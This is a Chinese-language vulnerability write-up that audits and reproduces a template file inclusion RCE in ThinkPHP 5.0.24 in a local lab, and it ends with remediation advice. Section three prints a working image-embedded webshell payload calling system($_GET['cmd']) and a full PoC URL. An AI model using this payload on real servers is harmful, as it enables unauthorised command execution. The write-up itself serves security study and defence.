前言

近期,ThinkPHP 5.0.24 版本被披露存在一个高危的模板文件包含漏洞(CVE-2025-63888,CVSS 评分 9.8)。该漏洞源于框架底层对视图路径处理不当。当开发者不安全的将用户输入直接传入 view() 函数时,攻击者可通过目录穿越或绝对路径,包含任意恶意文件(如包含 PHP 代码的图片马),最终导致远程代码执行(RCE)。

免责声明:本文仅供安全技术研究与交流,请勿用于未授权的测试。测试环境为本地搭建的靶场。

一、 环境搭建

为了最真实地还原漏洞场景,本地使用 Windows 环境下的 PHP 7.4.33 内置服务器启动靶场,并通过 Git 拉取 ThinkPHP 5.0.24 源码。

在项目根目录下执行以下命令启动服务:

php -S  0.0.0.0:8080  -t public

​

访问 http://127.0.0.1:8080 ,成功看到 ThinkPHP V5 的欢迎页,环境搭建完毕。

二、 漏洞代码审计分析

该漏洞本质上是一个经典的 Source -> Sink 数据流问题。我们需要分别定位漏洞的入口和最终的执行点。

1. Source 点:信任边界被打破

在控制器 application/index/controller/Index.php 中,我们模拟了开发中常见的错误写法。开发者使用 input('get.tpl') 接收了外部 GET 参数,并未经任何过滤直接赋值给 $template,随后传入 view() 函数。

​

如上图所示:

· 第 11 行:$template = input('get.tpl');,此处参数完全受攻击者控制。
· 第 19 行:return view($template);,危险调用。正常开发中此处应为固定的模板名,但这里直接传入了外部变量,导致数据流一路向下传递。

2. Sink 点:致命的文件包含

追踪数据流,最终到达底层 thinkphp/library/think/template/driver/File.php 中的 read() 方法。

​

如上图所示:

· 第 47 行:外部传入的路径直接赋值给了 $this->cacheFile。
· 第 53 行:include $this->cacheFile;。致命点出现,代码在没有任何路径穿越(../)过滤或白名单校验的情况下,直接对目标路径进行了 include,导致任意文件包含。
· 第 50 行(附加发现):extract($vars, EXTR_OVERWRITE); 使用了覆盖模式,存在变量覆盖的二次利用风险。

三、 漏洞复现与利用过程

1. 制作模板图片马

由于底层 include 无法直接解析 原生标签,此处利用了 ThinkPHP 模板引擎的解析特性。我们在 public/uploads/ 目录下准备一张正常的图片 text.jpg,并在其中写入 {php} 标签:


Payload 为:

{php}echo "VULN_HIT"; system($_GET['cmd']);{/php}

当该文件被 view() 包含时,ThinkPHP 模板引擎会在 runtime 目录下将其编译为缓存文件,并将 {php} 标签解析为实际的 PHP 代码,从而绕过图片后缀的限制。

2. 无害性对比验证

直接通过 URL 访问 http://127.0.0.1:8080/uploads/text.jpg 。

​

如图所示,页面将图片正常渲染,PHP 代码未被执行。这证明单纯上传图片马本身无法触发漏洞,必须借助框架的 include 包含机制才能触发。

3. 验证底层包含(排坑测试)

在测试相对路径(如 ../uploads/text.jpg)时,由于 ThinkPHP 5 默认会去 application/index/view/ 目录下寻找模板,并自动补全后缀,导致测试时一直返回“页面错误”。

为了排除路由和模板路径拼接的干扰,我们先将控制器中的路径硬编码为绝对路径:

$template = 'D:/tp/public/uploads/text.jpg';
return view($template);

​

成功回显 RCE_SUCCESS 及系统用户名,证明底层的 include 确实执行了文件。这也印证了漏洞利用时可以突破目录限制。

4. 终极动态 Payload 利用 (PoC)

最后,恢复 input('get.tpl') 的动态传参,构造最终的 PoC URL:

http://127.0.0.1:8080/index.php/index/index/index?tpl=D:/tp/public/uploads/text.jpg&cmd=whoami 

​

结果分析:

  • 浏览器端:页面成功回显 VULN_HIT 及当前操作系统的用户名 laptop-svenj59b\asus,证明模板引擎成功解析并执行了恶意代码。
  • 服务端日志:终端日志清晰记录了这条恶意的 GET 请求(状态码 200),形成了完整的攻击证据链。

四、 修复建议

  • 严禁用户可控:开发规范中应严格要求,view() 等视图渲染函数的参数绝不能由用户直接输入,应使用硬编码的固定模板名称。
  • 白名单校验:如果必须动态渲染,应在进入 view() 之前,对路径进行严格的白名单校验,并过滤 ../、..\ 等目录穿越字符。
  • 框架升级:ThinkPHP 5.0.x 系列已停止维护,建议升级至 ThinkPHP 6.x 或 8.x 最新安全版本。

五、 总结与思考

通过本次对 CVE-2025-63888 的完整审计与复现,我们可以得出以下几点思考:

1. 信任边界的重要性:

漏洞的根源往往在于“信任边界”被打破。view() 函数本身只是负责渲染,但由于开发者错误地将外部可控参数(input('get.tpl'))直接传入,瞬间将普通的渲染逻辑变成了致命的攻击面。

2. 框架并非绝对安全:

许多开发者认为只要使用了成熟框架(如 ThinkPHP)就一定安全。但实际上,框架底层(如 File::read() 中的 include)如果缺乏严格的二次校验(如路径白名单、目录限制),一旦上层调用不当,依然会引发致命漏洞。

3. 防御纵深(Defense in Depth):

如果在业务层(Controller)无法保证绝对安全,那么框架层(底层 Sink 点)就应该提供兜底的过滤机制。对于使用 ThinkPHP 5.0.x 等已停止维护版本的业务系统,除了尽量升级外,还需在代码层面加入严格的输入校验。

安全是一个持续对抗的过程,准确理解漏洞的 Source 到 Sink 的数据流向,不仅能帮助我们精准复现,更能指导我们在日常开发中写出更加健壮的代码。